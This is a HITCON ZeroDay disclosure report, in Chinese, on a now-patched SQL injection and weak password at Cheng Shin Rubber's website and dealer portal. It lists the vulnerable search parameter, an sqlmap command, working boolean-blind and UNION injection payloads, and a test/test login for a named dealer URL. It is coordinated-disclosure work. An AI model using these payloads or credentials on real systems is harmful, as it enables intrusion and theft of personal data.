Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01608
- Vendor: 正新橡膠工業股份有限公司
- Title: 正新橡膠工業股份有限公司 SQL Injection、弱密碼
- Introduction: SQL Injection、弱密碼
處理狀態
目前狀態
公開
Last Update : 2025/02/10
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2024/12/28 23:17:47 : 新提交 (由 LilaS 更新此狀態)
- 2024/12/28 23:22:35 : 新提交 (由 LilaS 更新此狀態)
- 2024/12/28 23:23:06 : 新提交 (由 LilaS 更新此狀態)
- 2024/12/28 23:24:13 : 新提交 (由 LilaS 更新此狀態)
- 2025/01/01 14:26:26 : 新提交 (由 LilaS 更新此狀態)
- 2025/01/03 15:19:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 10:57:58 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 10:57:58 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 10:57:58 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/23 15:18:11 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/23 23:24:01 : 確認已修補 (由 LilaS 更新此狀態)
- 2025/02/10 03:00:33 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01608
- 通報者:LilaS (LilaS)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.cst.com.tw/search.php
https://dealer.cst.com.tw/login.asp
https://dealer.cst.com.tw/login.asp
敘述
SQL Injection
- 注入點: https://www.cst.com.tw/search.php
- 在產品關鍵字欄位添加單引號{ ' },提交後報錯
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or N_Text2 Like '%'%' )' at line 1 Query Result : select * from artware_products where N_YN = 1 and ( N_Name Like '%'%' or N_Text2 Like '%'%' ) - 使用Burp Suite將Request儲存為檔案
- 使用SQLmap測試:
sqlmap -r rq --batch -p "keyword" --dbs --force-ssl - Payload
Parameter: keyword (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: t_brand=&t_generation=&t_year=&t_c_w=&t_c_r=&t_c_d=&keyword=-5120') OR 5431=5431#Type: UNION query Title: MySQL UNION query (random number) - 26 columns Payload: t_brand=&t_generation=&t_year=&t_c_w=&t_c_r=&t_c_d=&keyword=-4416') UNION ALL SELECT 2803,2803,2803,2803,CONCAT(0x71786a7871,0x657247704d436a6f627272626e494579677765594374465076756f4679625a46444f685a73566641,0x7178766b71),2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803,2803# - 取得Databases
- 在產品關鍵字欄位添加單引號{ ' },提交後報錯
弱密碼
- 經銷商網站: https://dealer.cst.com.tw/login.asp
隨手輸入沒有暴力破解,看起來很久沒使用了帳號: test 密碼: test
修補建議
改為參數化查詢
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。